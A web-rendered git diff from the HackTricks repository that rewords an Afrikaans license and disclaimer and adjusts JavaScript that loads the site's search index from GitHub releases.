|
||||||
Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte in verband met die inhoud nie. Alle handelsmerke en handelsnaamvoering wat in hierdie blog/boek voorkom, is die eiendom van hul onderskeie eienaars.
|
Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte met betrekking tot die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek vertoon word, is die eiendom van hul onderskeie eienaars.
|
||||||
|
|
||||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, moenie hierdie webwerf besoek nie.**
|
**Deur toegang tot of gebruik van HackTricks stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie saamstem met hierdie bepalings nie, moenie asseblief hierdie webwerf besoek nie.**
|
||||||
|
|
||||||
## **VRYWARING**
|
## **Disclaimer**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingdoeleindes. Die inhoud binne hierdie boek word voorsien op 'n "as is"-grondslag, en die skrywers en uitgewers maak geen voorstellings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante illustrasies in hierdie boek nie. Enige vertroue wat jy op sulke inligting plaas, is daarom streng op jou eie risiko.
|
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en inligtingsdoeleindes alleen. Die inhoud in hierdie boek word verskaf op 'n "as is"-grondslag, en die outeurs en uitgewers maak geen verklarings of waarborge van enige aard nie, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid of beskikbaarheid van die inligting, produkte, dienste of verwante grafika in hierdie boek. Enige vertroue wat jy in sodanige inligting plaas, is dus streng op eie risiko.
|
||||||
>
|
>
|
||||||
> Die skrywers en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit verlies van data of winste wat ontstaan uit of in verband met die gebruik van hierdie boek nie.
|
> Die outeurs en uitgewers is onder geen omstandighede aanspreeklik vir enige verlies of skade nie, insluitend sonder beperking indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit verlies van data of wins wat voortspruit uit, of in verband met, die gebruik van hierdie boek.
|
||||||
>
|
>
|
||||||
> Verder word die tegnieke en wenke in hierdie boek beskryf vir opvoedkundige en inligtingsdoeleindes slegs, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die skrywers en uitgewers keer nie onetiese of onwettige optrede goed nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie.
|
> Verder word die tegnieke en wenke wat in hierdie boek beskryf word, slegs vir opvoedkundige en inligtingsdoeleindes verskaf, en moet nie gebruik word vir enige onwettige of kwaadwillige aktiwiteite nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed of ondersteun dit nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie.
|
||||||
>
|
>
|
||||||
> Die gebruiker is alleenlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en bystand soek wanneer hulle enige van die beskryfde tegnieke of wenke probeer toepas.
|
> Die gebruiker is uitsluitlik verantwoordelik vir enige aksies wat gebaseer is op die inligting in hierdie boek, en behoort altyd professionele advies en hulp te soek wanneer hy probeer om enige van die tegnieke of wenke hier beskryf te implementeer.
|
||||||
>
|
>
|
||||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die skrywers en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of kwaad wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin.
|
> Deur hierdie boek te gebruik, stel die gebruiker die outeurs en uitgewers vry van enige en alle aanspreeklikheid en verpligting vir enige skade, verliese of nadele wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin.
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -491,3 +491,4 @@
|
|||||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
@ -68,11 +68,11 @@
|
|||||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||||
|
|
||||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||||
|
|
||||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||||
|
|
||||||
const indices = [];
|
const indices = [];
|
||||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||||
@ -208,3 +208,4 @@
|
|||||||
listOut.classList.toggle('hidden',!docs.length);
|
listOut.classList.toggle('hidden',!docs.length);
|
||||||
};
|
};
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user